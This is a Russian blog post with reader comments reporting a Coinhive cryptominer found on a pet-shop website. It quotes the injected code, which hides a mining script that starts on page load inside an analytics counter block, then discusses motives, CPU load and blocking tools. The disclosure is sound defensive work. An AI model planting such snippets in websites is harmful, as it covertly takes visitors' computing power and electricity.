Буквально недавно промелькнула новость про Pirate Bay, который начал тестировать криптомайнер на JavaScript как альтернативу традиционной рекламной модели. Теперь же, судя по всему, нас ждет волна интеграции подобных скриптов в каждый мелкий магазинчик по продаже швейных принадлежностей. Только сегодня наткнулся на аналогичный скрипт, встроенный в код сайта zveruga.net — небольшой сети по продаже товаров для животных.
Зоомагазин и скрипты
Сегодня позвонил отец и сообщил, что у него Kaspersky Total Security ругается на скрипт для майнинга на сайте зоомагазина. И даже успел безуспешно поругаться по этому поводу с девушкой на первой линии поддержки. С предсказуемым результатом "Эээээ… Чего? Скрипты?". Решил ради интереса проверить — вдруг ложная эвристика сработала. Оказалось, что вполне корректно сработало — в коде главной страницы http://www.zveruga.net/ нашлась странная вставка:
<!-- Yandex.Metrika counter -->
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl');
miner.start();
</script>
<script type="text/javascript">
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter24517820 = new Ya.Metrika({id:24517820,
webvisor:true,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true});
} catch(e) { }
});
var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";
if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/24517820" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
Кусок скрипта, активирующий майнинг оказался встроенным в блок Яндекс.Метрики. При активированном ghostery активности не проявлял, но стоило его временно отключить, как все ядра процессора немедленно нагружались расчетами. Молодцы ребята из Mozilla. Теперь многопоточность!)
Зачем они жрут мои ресурсы?
Сам по себе подобный майнинг крайне малоэффективен. Плюс требует наличия открытой вкладки со скриптом, что делает осмысленным интеграцию только на туда, где пользователь проводит действительно много времени. Pornhub не подойдет, да. Потому есть несколько вариантов:
- Сайт кривой — у них даже HTTPS нет на странице авторизации! Взломали китайские боты и напихали скриптов куда попало.
- Реально решили заработать. Почему бы и не добавить каплю доходов в дополнение к рекламе.
- Админу не хватило на пиво.
В целом, мне кажется очень странным подобный способ получения прибыли. Сжирание процессора на 100% — это очень-очень грязный ход. Все же о таком следует предупреждать пользователя, который не ожидает такой подлости от браузера. В Kubuntu Linux тормоза интерфейса не ощущаются, видимо, из-за корректной приоритезации, а в Windows 7 система ощутимо начинает тупить. Немного страшно представить себе ситуацию, когда каждая вкладка начнет поедать системные ресурсы, пытаясь убить всех остальных.
Adblock для майнеров
В целом, вся эта фигня похожа на смесь очередной волны malware и поиска альтернативной модели заработка. Уже много клавиатур растоптано в сетевых баталиях на тему этичности блокировки рекламы. Вечная проблема столкновения интересов двух сторон — пользователь хочет качественный контент, создатель контента и сервиса хочет окупить свои затраты и немного заработать. И еще рекламные сети сбоку пристроились. С распространением блокировщиков рекламы ситуация становится все напряженнее. Кто-то уходит совсем, кто-то начинает показывать жалобных голодных котиков или переходить на модель платной подписки. Большинство тупо превращаются в сгенерированную копирайтерами за еду скриптами помойку с заголовками в духе Роспотребнадзор обвинил селфи в распространении вшей.
Возможность выкинуть на мороз рекламщиков крайне заманчиво выглядит для тех ресурсов, которых традиционно гнобят официальные власти — торрент-трекеров, продавцов неправильного укропа и тому подобных. Но и для обычных посещаемых ресурсов это может стать интересной альтернативой рекламной модели. Основные проблемы заключается в нескольких моментах:
- Деньги капают мизерными крохами с каждого пользователя.
- Вкладка со скриптом и браузер должны быть открыты максимально длительное время, что в принципе не очень характерно для современного варианта прыжков со страницы на страницу.
- Конкуренция за CPU между отдельными онлайн-сервисами. Процессор не резиновый, а каждый норовит выкрутить майнинг на полную мощность, чтобы успеть урвать хоть что-то за короткое время.
Во все это безобразие уже включились антивирусы. С одной стороны, они вроде как на стороне огромной массы полуграмотных пользователей. С другой — что-то очень дофига они стали себе позволять в плане того, что может делать пользователь, а что нет, прорастая во все возможные часть операционной системы.
Кажется, нас ждет интересное ближайшее будущее. Ждем ответ от браузеров, блокирующих исполнение кода на неактивных вкладках. И еще очередного слоя блокировщиков. Единичные пользователи с радикальным NoScript вероятно опять пропустят все веселье.
Комментарии (180)
vorphalack
24.09.2017 17:09так и сейчас ничего не мешает пихать скрипты майнеров в списки адблоков.
mrsweet
25.09.2017 10:18Всё же стоит разделять блокировку майнеров, рекламы и трекеров.
К сожалению, все больше рекламы обходит adblock. Это наводить на мысль, что блокировать надо на уровне межсетевого экрана. Благо, список js майнеров есть в открытом доступе
ZoomLS
24.09.2017 17:12Поставить RequestPolicy Continued или аналоги(был уже упомянут Ghostery), запастись попкорном и наблюдать шоу :)
unwrecker
25.09.2017 16:43Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг.
ZoomLS
25.09.2017 20:33Не под каждый. Можно разблокировать нужные скрипты глобально. И они будут работать на каждом сайте, где используются. Один раз настроить и будет работать.
qw1
26.09.2017 00:34Более вероятная причина поломки, что статика (картинки и CSS) грузится с другого домена. Но обычно всё чинится в 2 клика.
Alexeyslav
26.09.2017 10:05И так ан каждый новый посещаемый сайт… а если мне туда только на один раз? Приходится по нескольку раз перезагружать сайт прежде чем полностью настроить разрешения для него — каждый раз подгружаются новые объекты которые не грузились из-за блокировок на предыдущем этапе. И не факт что это всё — в любой момент может заблокироваться что-то новое а ты даже не узнаешь что часть контента на сайте тупо не отображается. А теперь представить что используется несколько блокировщиков и многие действия по разблокировке надо будет производить в каждом из них…
ZoomLS
26.09.2017 15:44Да, с новыми сайтами могут быть некоторые неудобства. Зато если там какой-то майнер, вирус или ещё что-то — очень спасает.
qw1
26.09.2017 18:01а если мне туда только на один раз?
Схватить трояна можно и за «один раз». Обычно, когда кликаешь на заражённый сайт, просходит несколько редиректов на странные домены, либо эксплойты подгружаются не напрямую, а тоже с других доменов.
Да, неудобно лишний раз кликать в подтверждение каждого редиректа или каждой подгрузки с другого домена, но гигиена того стоит.
vorphalack
26.09.2017 04:11два-три F5 и сайты оживают. хотя я на uMatrix свалил, и у меня по умолчанию сторонние скрипты просто вырублены нафиг. единственный реальный геморрой — это рекапча, которая ходит по тем же доменам что и гугломусор.
Tote_Hoffnung
24.09.2017 17:27А как защититься-то от подобного чуда, дабы не вляпаться ненароком?
ZoomLS
24.09.2017 19:11Установить и настроить расширения RequestPolicy Continued, uMatrix и аналоги.
P.S.: Не обязательно ставить все. Достаточно будет выбрать какое-то одно и настроить его.
У меня нормально получилось подружиться с RequestPolicy Continued. С uMatrix, так и не смог заставить habr нормально выглядеть и пару других сайтов.
First_Spectr
24.09.2017 18:20А скрипт можно как то настроить на потребление ресурсов? Например если бы он сжирал не 100, а 20 процентов проца, то никто бы и значения не придал. Не обязательно что бы пользователь проводил много времени на сайте, у меня например много открытых вкладок отложенных на потом. Ну и что касается малой эффективности, думаю расчет на количество пользователей.
WaXe
24.09.2017 18:33Судя по демке на главной странице проекта, можно задать количество потоков.
Хотя в документации дополнительно указано, что можно задать время бездействия для этих потоков
coin-hive documentation
walkman7
24.09.2017 21:36В конструктор можно передать параметр
throttle
у которого значение от0
до1
, указывает сколько ресурсов оставить пользователю. На реддите также «попросили» не майнить на ноутбуках которые не заряжаются www.reddit.com/r/Monero/comments/71okng/some_advice_for_all_you_guys_using_coinhive
vsb
24.09.2017 22:15Процессор всегда работает на 100%. Но можно работать, например, 200 мс и потом 800 мс спать, тогда будет нагрузка 20%. Но это снижает доход в 5 раз. Тут вопрос — сколько пользователей замечают, что что-то идёт не так. Мне почему-то кажется, что выгодней выжимать все соки, в большинстве своём пользователи неграмотные и не поймут, что что-то не так.
Hardcoin
25.09.2017 01:14+1Что бы понять, что стало слишком уж сильно тормозить (и надо попросить кого-то помочь), грамотность не нужна.
vsb
25.09.2017 22:32Ну вот я открывал сайт этого зоомагазина, оставил в фоне, в диспетчере задач, конечно, вижу нагрузку на все 4 ядра, но в целом я этого не ощущаю, как работал, так и работаю. В типичной нагрузке бутылочное горлышко это ввод-вывод, а не процессор, поэтому загрузка процессора совершенно не факт, что будет заметна. Ну вентиляторы включились через полминуты, но они и так бывает включаются, совсем не показатель.
Hardcoin
25.09.2017 23:17Это проблема, если ноут в пыли и перегревается. Плюс аккумулятор меньше держит. Вот тут выжимание всех соков будет заметным. Если как у вас — просто вентилятор чуть пошумел, то вы правы, не заметят.
IgorVol
24.09.2017 18:20Похоже, что этот скрипт вставляется не только на сайтах но и в расширениях к браузеру. Один из пользователей моего сайта жаловался на то, что у него Касперский ругается на этот скрипт. Ему помогло полное сканирование.
Tallefer
24.09.2017 18:21Ну если судить по сайту сервиса, то они планируют изменить этот скрипт, чтобы однозначно спрашивать разрешения на включение (opt-in) у юзеров.
(пардон за дубль комментария, хотя и статья по сути тоже дубль :) )
Как по мне, это гораздо лучше баннеров даже сейчас (исключая смарты с их дохлыми аккумуляторами, разве что). Потому что доход идет напрямую владельцу сайта, поставившего майнер вместо рекламы или капчи, а не левым рекламщикам, которые, к тому же, трекингом занимаются. А этот майнер почти ничего не отслеживает, судя по его описанию.
Само собой, это все не оправдывает тех сайтоводов, которые втихую такое могут крутить и не прописывать в условиях.Meklon Автор
24.09.2017 18:22+2Как обычно будет пара нормальных скриптов и сотни пожирателей. В итоге резать будут все, чтобы машина не повисла от нагрузки.
Tallefer
24.09.2017 19:03Угу. В том же описании, кстати, есть упоминание использования хтмл5 хранилища для связи с другими вкладками, так что и тут уже проработали. :)
Будет жаль, если их внесут в черные списки, станет только хуже — куча самописных поделок без разделения ресурсов.greatkir
24.09.2017 20:02Будет «отлично», если разработчики данного ммм… «решения» освоят Service Workers (с учетом возможности создания не отключающихся со временем воркеров)
Psychosynthesis
24.09.2017 18:26Вы бы лучше рассказали что делать тем, кто решил таким образом реально заменить рекламу, а вместо принудительного баннера, скажем, поставил кнопку, включающую майнер, если юзер желает помочь сайту. Это ведь вполне легитимный сценарий использования, только вот негласное добавление таких скриптов в списки антивирусов всю идею убивает на корню. И более того, благодаря такому скрипту легко в какие-нибудь чёрные списки поисковиков загреметь.
Akuma
24.09.2017 18:32Ну вот вроде и хороший посыл, но надо же ограничтьва ресурсы, ну ёпрст!
Я тоже считал, что можно заработать с этого майнера, при этом не вредя пользователям.
Есть у меня маленький сайтец с 800 униками в день. Они генерят около 6-7 тыс. просмотров и проводят на сайте… ну не пять минут, но и не часы.
Так вот за месяц при ограничении нагрузки от майнера до 5% на таком сайте можно заработать аж 150 руб. за месяц :) Больше — вред пользователям, да и прибыль увелчится довольно слабо.
Есть второй сайт, который еще в разработке. Там предоставление услуг, тарифы 75/175/275 руб. в месяц. Проработал идею «намайните себе на тариф» и понял, что либо человеку прийдется майнить месяц, либо мне это не выгодно. Но кто будет гонять месяц свой компьютер ради 75 руб.?
Итого, таким способом можно действительно заработать только на очень посещаемом ресурсе, на котором пользователи проводят очень много времени. Но, как правило такой ресурс (если он легальный) предоставляет какие-то услуги или продает адекватную рекламу и зарабатывает больше.doga
24.09.2017 19:03про «75 рублей» альтернатива давно известна: вывешивание адреса для доната под каждой статьей. Бесспорно бывалый Пряников утверждает, что в нынешней России это нифига не работает, но не менее упорный Бабченко до сих пор такую подпись использует.
Все нужно пробовать самому: давно и на многих сайтах есть фича «Заметили ошибку в тексте? Выделите ее и нажмите Ctrl+Enter в своем браузере». Однако по поводу нередких опечаток в статьях на Хабре такая фича не используется до сих пор — «ну, значит, есть на то веские причины!..» (с)qw1
24.09.2017 22:38а Хабре такая фича не используется до сих пор
Очевидно же. Кому понравится, если твою статью отредактирует администрация. А если перенаправлять оповещения автору (и автор уже давно забил на Хабр), у пользователей будет непонятка: как так, я отправил, а никто не исправляет.doga
24.09.2017 23:00я до сих пор не знаю, что лучше: позориться опечатками или рисковать, что местные безымянные модеры наворочают искажение глубокого смысла долго вынашиваемой статьи. Лишние школоло-запятые, несогласованные падежи и пр. — все это можно разрешить для замечаний(!) в строго ограниченном интервале времени, как и комменты для RO-лишенцев вроде меня. Т.е., в первые дни после публикации автор, забивший на статью — так ли он ценен для Денискина? А ведь есть еще «редакторы», которых Денискин оценивает конкретно в реальных деньгах: у них тоже бывают опечатки.
Но Денискину виднее — тут нет даже предмета для спора.
Arris
26.09.2017 22:45А причем тут администрация?
Такой скрипт должен через бэкэнд направлять оповещение автору статьи (личным сообщением). А уж что там — решит автор исправить или не решит…qw1
27.09.2017 00:35Я об этом написал отдельно. Это может быть плохой UX. Т.к. функция активна, то юзер считает, что его сообщение будет доставлено и прочитано, что есть какой-то человек, который ежедневно это просматривает. А если никто не отреагировал, то негатив куда? — создателям сайта.
doga
24.09.2017 18:50Уж лучше майнить, чем обогревать планету впустую за счет «тяжелого» флеша от уникального коллектива дизайнеров моргающей рекламы. Да, флэш умирает и прореживается, но и «тяжелым» он бывал не у всех и не всегда.
Angerslave
24.09.2017 20:34+7ИМХО, с глобальной точки зрения майнить — худшее, как можно потратить энергию. Выхлоп с этого мероприятия будет околонулевым, зато энергии сожрётся уйма. Тем более они делают это на CPU. Лучше бы условным Folding'ом занимались — хоть какая (глобальная) польза для планеты.
doga
24.09.2017 21:42-2не ИМХО: с глобальной точки зрения про биткоин до сих пор нет ответа на вопрос «кому выгодно?». Даже его создателя до сих пор не приперли к стенке деанона, хотя про то, что «их оставалось только трое», было уже несколько публикаций здесь же.
Т.е., имхо тут все точно так же, как и с монетизацией Телеграм: пока нет ответа на правомерный вопрос «откуда [будут] деньги, Зин?», доверять безоглядно таким проектам — просто глупо. А теперь еще и Розенберг разворошил гнездо, а до того Перекопский тоже много интересного наговорил.
TimsTims
25.09.2017 12:00> Тем более они делают это на CPU
Некоторые виды криптовалют эффективно майнятся только на CPU.qw1
25.09.2017 13:04только на CPU
Например? Тот же Monero (XMR), который задумывался как CPU-валюта, сейчас научились майнить на GPU с несколько раз более высоким хешрейтом, чем на CPU.
sashabeep
25.09.2017 10:12-1Да когда же вы уже все подохните-то. Флеша-то уже 3 года как нету, а новомодный гипертекстовый векторный html5 чисто для баннеров тормозит мощнее и качественнее в 2 раза минимум
Lennonenko
27.09.2017 12:41где флэша нет?
в файрфоксе с демандным флэшом очень хорошо видно, как его нетsashabeep
27.09.2017 12:46Не знаю, какой степени винтажности сайтами вы пользуетесь, но на данный момент ни одна баннерная сеть не принимает SWF уже минимум 2 года
Lennonenko
27.09.2017 13:30я хз, кто и зачем пытается показывать флэш, но FF постоянно выдаёт запросы на включение
не рисует картинку почему-то prntscr.com/gq9waaZenitchik
27.09.2017 13:57Ээ? Мне почему-то не выдаёт. За последний год всего пару раз этот запрос видел.
sashabeep
27.09.2017 14:35Как видно из вашего скрина, баннер отображается и вовсе без флеша. Потому что Яндекс не принимает баннеры во Флеше.
Флеш стоит «включать по запросу», не грузится вообще ничего
Так что весьма вероятно, что флеш используется в качестве фаллбека для воспроизведения, например, звука входящего сообщения или отрисовки изображений в формате, не поддерживаемом вашим браузером. Обычно это ролик размером 1 на 1 пиксель, у которого вообще нет графики и он находится в скрытом слое.
При переключении в «всегда включать» — так и есть. ИМХО, эти ролики для детекта флеша для статистики или иных внутренних дел.
Причем тут баннеры?
maxzh83
24.09.2017 18:58+3В целом идея с майнингом на сайте не такая и плохая при цивилизованном подходе. Для некоторых категорий ресурсов подойдет гораздо лучше рекламы. Проблема только в обеспечении цивилизованности. Было бы неплохо пользователю в браузере иметь возможность ограничивать ресурсы компьютера, которые отдаются для майнига или что-то похожее.
Meklon Автор
24.09.2017 18:59+1Проблема в том, что самые наглые в выигрыше будут. Те, кто не будет соблюдать меру и будет гнаться за одноразовой прибылью.
furrya_black
24.09.2017 21:47Те, кто гонится за одноразовой прибылью как раз таки проиграют в перспективе. Не потому что наглые, а потому что глупые =)
Вот.
maxzh83
25.09.2017 10:53Именно поэтому у пользователя должен быть удобный и понятный инструмент для контроля за выделением ресурсов под майнинг. Грубо говоря, пользователь может задать в браузере «всем сайтам выделять не более n процентов ресурсов на майнинг», избранным сайтам задать выше и т.д.
Arris
26.09.2017 22:51+2Может быть не будем зацикливаться на майнинге?
Браузеру разрешено получать у процессора не более N процентов CPU для активной вкладки и M вообще.
А майнинг там или флэш — дело десятое.
DistortNeo
24.09.2017 21:01-3Уже 5-й год как пользуюсь плагином NoScript. Меня всё ещё можно называть параноиком?
m8rge
24.09.2017 21:47+2Как вообще можно серфить интернет без js? Даже если, допустим, меню на сайте не работает, вы включаете js на всем сайте, со всеми баннерами и майнерами?
DistortNeo
24.09.2017 22:01> Как вообще можно серфить интернет без js?
Да как-то без проблем. Просто вручную разрешаю только скрипты с определённых доменов — минимальное количество скриптов для функционирования сайта. В подавляющем большинстве случаев нежелательные скрипты грузятся со сторонних доменов, поэтому мой способ работает.
Ну и второй уровень защиты в виде ABP (с ручным же фильтрами) никто не отменял.bopoh13
26.09.2017 11:36i3-4160T; AVP8. На одной из машин FF53 с E10S очень сильно тормозил, появилась реклама. Смотрю, пропали все подписки и собственные фильтры. Хорошо, все шаги записаны. Совпадение?
Tallefer
24.09.2017 22:01+5Ну так это именно что «серфить», проглядывать, не теряя время на эти скрипты и баннеры. А на интересных сайтах можно и задержаться, а то и рекламу посмотреть даже. :)
Земной поклон тем вебмастерам, которые строят все важные динамические вещи, типа меню, на голом CSS+HTML, позволяя просто наслаждаться контентом, ну а лучи диареи тем, кто использует особо упоротые шкуры для CMS, без скриптов показывающие только белый экран. %)DistortNeo
24.09.2017 22:13За такое вас заклюют адепты секты свидетелей изоморфного рендеринга и прочие ангулярщики.
quwy
25.09.2017 00:47+6Когда ресурсы процессора на 100% жрались всякими падающими снежинками, никто и не чесался. А тут вдруг озаботились. Проблеме лет 15 уже, просто раньше это было результатом дурости, а сегодня — жадности.
Londoner
25.09.2017 02:09-4А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript? Глядишь электроэнергии вполовину меньше потребляться будет, глобальное потепление отступит и смартфоны не нужно будет каждые 5 минут заряжать. У меня 99% вкладок в браузере — это текст, картинки и формы, для чего там JavaScript, жрущий гигабайты и гигагерцы? Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает. А тут ещё и майнеры… Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…
Armleo
25.09.2017 10:47Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает.
При чем тут это? Гомно-кодеры есть везде.
Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…
И? Так можно рассуждать про все, что не ассемблер.
А тут ещё и майнеры…
… которые написаны на WebAssembly
А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript?
Нельзя. Динамичные страницы например это вообще сложная тема...
Londoner
26.09.2017 10:30-2При чем тут это? Гомно-кодеры есть везде.
Но вот распределены они почему-то неравномерно. Надеюсь, Вы не будете спорить, в какой области их больше?
И? Так можно рассуждать про все, что не ассемблер.
Почитайте тут
А тут ещё и майнеры…
… которые написаны на WebAssembly
Значит по умлочанию блочим любой активный контент. Если пользователю реально нужен гавнокод на этой странице, он внесёт её в белый список.
Нельзя. Динамичные страницы например это вообще сложная тема…
Что-то мне подсказывает, что можно уложиться в десяток-другой типовых сценариев.
Lennonenko
27.09.2017 12:46А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML
тогда это будет не htmL
и начнут на нём писать виртуалки и майнерыLondoner
27.09.2017 12:53Под переносом в HTML я имел ввиду покрытие 90% типовых вещей, которые сейчас делаются в JS, новыми тегами. А писать императивный код не должно получаться, иначе опять нагавнокодят и намайнят.
qw1
27.09.2017 16:20На js делается именно логика приложения. Такая, как создать ajax-запрос, получить ответ, модифицировать DOM страницы. Если делать не императивно, выйдет очень эзотерически.
arvitaly
25.09.2017 03:28+6Нужно просто скармливать страницы гугловскому пауку, он же JS обрабатывает, вот пусть майнит, тоже ведь нахаляву контент получает.
helgisbox
25.09.2017 08:58Если его вместо рекламы включат — будет печаль. На cnews с включенным adblocker-ом не зайдешь. Также поступят и с таким майнингом. Им без разницы с чего получать доход: с рекламы или с другим способом. И это только начало. Рядовые пользователи будут только за электричество платить.
vikarti
25.09.2017 13:22Одна проблема — если сайт хочет 100% cpu то вопрос возникнет — а какого именно cpu? И что мешает владельцу i7 сказать что у него одноядерный атом (и шейпить соответственно)
vlivyur
25.09.2017 16:03+2www.cnews.ru — этот? А в чём проблема захода туда с блокировщиком?
helgisbox
26.09.2017 09:01Мессадж на полэкрана красный с просьбой отключить блокировщик. Если есть способы как избавиться от таких сообщений, прошу подсказать.
vlivyur
26.09.2017 11:29Не вижу такого. Сработали такие правила:
http://counter.yadro.ru/*
http://content.rbc.medialand.ru/t*
http://mc.yandex.ru/*
http://count.*
http://*.google-analytics.com/*
sibirier
25.09.2017 09:46думаю, что если в такие скрипты вставлять не коды майнеров, а коды расчетов математических и физических, полезных для науки. полезных для, например, NASA. будет польза для человечества. а не только какому-то предпренимателю
borec1
26.09.2017 13:30+1Полезный для NASA — это как раз каким-то предпринимателям, а совсем не науке и, тем более, не человечеству.
cld333
25.09.2017 09:47+2При должном контроле такого подхода все выглядит очень приятно.Например договорится что сайт нагружает ваш процессор на 10%, в некоторых случаях это даже менее ресурсозатратно чем реклама. НО мне кажется что такая тенденция просто поднимет цену на рекламу и все опять вернутся к старому подходу.
Что мне кажется действительно хорошей идеей, так это продажа софта за «криптовремя».Например я хочу себе лицензию adobe photoshop, платить не хочу, копания говорит мне ок держи лицензию, но мы будем майнить с твоего ПК до того момента пока не отработаем свои деньги.Так же добавить функцию регулировки нагрузки или выбора времени в которое программа будет майнить.В результате мой ПК по стоит пару ночей включённым, я получаю софт бесплатно, а разработчики получат свою прибыль.
Может пример с фотошопом не самый удачный, но продавать игры за «криптовпемя» можно спокойно, так как железо у геймеров достаточно неплохое.
helgisbox
25.09.2017 10:12Скорее всего цены на такой майнинг сильно опустят, чтобы за лицензию платить не пару ночей, а несколько месяцев.
Angerslave
25.09.2017 10:25А сколько можно намайнить на пару ночей?
alexeykuzmin0
25.09.2017 17:17Вроде более или менее точная оценка — при майнинге на GPU на электричество уходит около 10% от заработанного. Так что за пару ночей на хорошей современной видеокарте можно намайнить рублей 10.
Angerslave
25.09.2017 20:06Насколько я знаю, средняя видеокарта майнера отличается от средней видеокарты среднего посетителя среднего сайта. На порядок-два (учитывая, что у майнеров обычно несколько сразу стоят).
qw1
26.09.2017 00:35Да, но она и энергии кушает меньше. Поэтому оценка остаётся верной (в пределах одного порядка).
Angerslave
26.09.2017 09:58Чем слабее видеокарта (тем более если она одна), тем больше приходится питать «паразитов» — процессор, МП, винт(ы), тот же монитор. К тому же, у многих для браузинга используется интегрированный в процессор видеочип, что ещё сильнее снижает потенциальный выхлоп.
twesd
25.09.2017 10:24+1Сайт coin-hive.com зарегистрирован у key-systems.net. А это германский провайдер.
Я думаю всё же поламали сайт, иначе скрипт удобней тянуть с другими ресурсами сайта.firk
25.09.2017 12:33+2Причём тут это? Coinhive это веб-майнинговый сервис, подключить его себе может кто угодно как с взломом так и без. Копировать для этого к себе какие-то скрипты не нужно, нужно просто вставить кусок html-кода в свой сайт.
Steely
25.09.2017 11:01Не можешь победить — возглавь!
Просто надо браузерам встроить систему с настройками для майнинга на конкретных сайтах ( как всплывающие сообщения).
Сайт.ru запрашивает возможность майнинга на ваших процессорах (50% загрузки) сроком на 1 час. Разрешить/Запретить.
firk
25.09.2017 12:43-3Не пойму, почему все так переполошились. Не вижу разницы между этими майнерами и просто тормозным рекламным баннером — от обоих одинаковый результат в плане лагов, оба одинаково режутся noscript'ом или спаморезками — вобщем, ничего нового. Только этот в отличие от баннера не создает визуальное раздражение, если его не порезать.
vconst
25.09.2017 13:00Так чем все закончилось с этим сайтом? Они починили и выпилили майнер, или все по старому?
Cheater
25.09.2017 13:16+3Лично мне бы очень хотелось, чтобы майнинг на JS был умерщвлён быстро, мучительно и без обсуждений. Майнинг, даже если он с благими целями, — это не задача браузера и я не буду предоставлять ресурсы своего ПК для подобной деятельности никому без исключения. Точка.
firk
25.09.2017 13:53Ну так не предоставляйте. Как будто вас заставляют запускать эти скрипты. А вот насчёт "умерщвления js-майнинга" это у вас пустые надежды, как мне кажется.
iit
25.09.2017 14:50+1Тихий ужас для мобильников и планшетов, ладно десктопы и ноуты где можно поставить блокировщики,NoScript, прописать список dns в старом добром bind на роутере или в /etc/hosts.
На мобилке мало адекватных блокировщиков, без рута фиг настроишь iptables и dns, о майнинге узнаешь только тогда, когда батарея кончиться, посмотреть что напихал сайт в твой мобильный хром или лису сложновато без кое-каких инструментов. Так что ждем веселье для бедных пользователей смартфонов когда лагать будет даже оболочка.
TimsTims
25.09.2017 15:01Насколько мне известно, Chrome на мобильных сильно ограничивает потребление ресурсов для фоновых вкладок. Настолько, что сначала таймеры работают медленнее, а затем и вовсе всё отключается.
Zenitchik
25.09.2017 15:15Сафари на мак-устройствах ставит фоновые вкладки на паузу. Лично столкнулся.
iit
25.09.2017 18:57Пусть даже и ограничивает, одной активной вкладки с майнером и 5-и которые в фоне "приторможенные" один фиг могут посадить батарею, а обычный юзверь может открыть и все 20-50 вкладок (видел у жены брата и у своей матери).
Фанатам лиса даже на мобиле (вроде меня, подкупили режим чтения — он ИМХО удобен даже для хабра) походу точно придется страдать — и так не держу больше 10 вкладок а если с майнингом то вообще полный лисец будет.
Еще интересно как на этот майнер отреагируют старые устройства с устаревшим хромом или вообще стоковым webview который не хром (как на моей старой ZTE) учитывая что они бывают даже при звонках виснут уже.
Zenitchik
25.09.2017 19:17Мне случалось и 400 (четыреста) открывать. Это, правда, было в эпоху лёгких страниц...
Mispon
25.09.2017 16:36Насчет прыжков по страницам. Во время пика популярности SPA этот скриптик выглядит еще привлекательнее.
unwrecker
25.09.2017 16:43-1Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг. Ublock рулит
unwrecker
25.09.2017 16:44-1Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг. Ublock решает.
mortimoro
25.09.2017 17:12Это как минимум неэтично по отношению к пользователям. Такие сайты банить надо или хотя бы поисковики должны снижать рейтинг в поиске.
Zenitchik
25.09.2017 18:05-1А за рекламу почему не надо? Чем майнинг неэтичнее рекламы?
alexeykuzmin0
25.09.2017 18:16Дороже для пользователя
Zenitchik
25.09.2017 18:22По электроэнергии?
alexeykuzmin0
25.09.2017 18:46+1Да, по электроэнергии. Ну и, наверное, неприятно держать на коленях раскаленный ноут. Да и батарею вмиг посадит.
firk
26.09.2017 06:45-2По мне, так модель "вы нам ничего не платите, но мы тут будем втихую вами торговать" одинаково включает себя как большинство рекламы так и описанный в этой статье майнинг, и модель эта глубоко аморальна, и именно поэтому с ней стоит бороться.
Те же, кто печётся только об электроэнергии и прочих "потребительских качествах" и готовы были жрать рекламу, по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами со стороны тех, кому они уже отдались.alexeykuzmin0
26.09.2017 13:15+3по-моему заслуживают и майнеров и вообще любых манипуляций
А давайте вы не будете за других решать?
Я вот, например, не блокирую рекламу потому, что ни один из сайтов, которые я посещаю хотя бы раз в год, не использует дикое ее количество или слишком навязчивых баннеров (собственно, самый агрессивный в плане рекламы из посещаемых мной сайтов — хабр).
Но я категорически не согласен с тем, что тот факт, что я не блокирую рекламу, позволяет кому угодно майнить на моем ноуте, обжигая мне колени и уменьшая время работы от аккумулятора с полутора часов до 30-40 минут.firk
26.09.2017 13:47-2Вы просто закрываете глаза на механизм работы всей этой системы. Проследите направление денежных потоков и "одолжений" и всё станет очевидно. Владелец сайта так или иначе платит за его поддержку (арендуемый хостинг либо поддержка своего + разработка), владельцу сайта платят рекламодатели/майнеры.
В случае с майнерами всё очевидно — платите за их работу напрямую вы, деньгами за электричество и дискомфортом от перегретого ноута — это вы заметили и негодуете.
В случае с рекламодателями чуть сложнее — лично вы может и не платите, но так или иначе имеется расчёт на лоха, который поддастся рекламе и оплатит рекламодателю его расходы на рекламу, купив у него что-то. То есть, если не вдаваться в частности, то платят всё так же посетители сайта, просто более глупые (кто повёлся на рекламу) платят за всех.
Эту более сложную цепочку вы видимо до конца не проанализировали и поэтому не заметили всей её сути, которая ничем от майнеров не отличается, кроме, возможно, кпд.alexeykuzmin0
26.09.2017 14:08+2Эту более сложную цепочку вы видимо до конца не проанализировали
Нет, я замечательно проанализировал всю эту цепочку.
Я периодически покупаю что-нибудь после клика по рекламе — если она достаточно персонализирована, то умудряется предлагать полезные вещи. Это не говоря уже об опосредованной пользе в виде ускорения экономики.
Но, собственно, даже если и принять тезис о том, что реклама — это тоже дискомфорт для пользователя и своеобразный вид оплаты, каким образом это подтверждает первое утверждение
по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами
?
Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»firk
26.09.2017 16:17-1каким образом это подтверждает первое утверждение
Тут есть целых два обоснования.
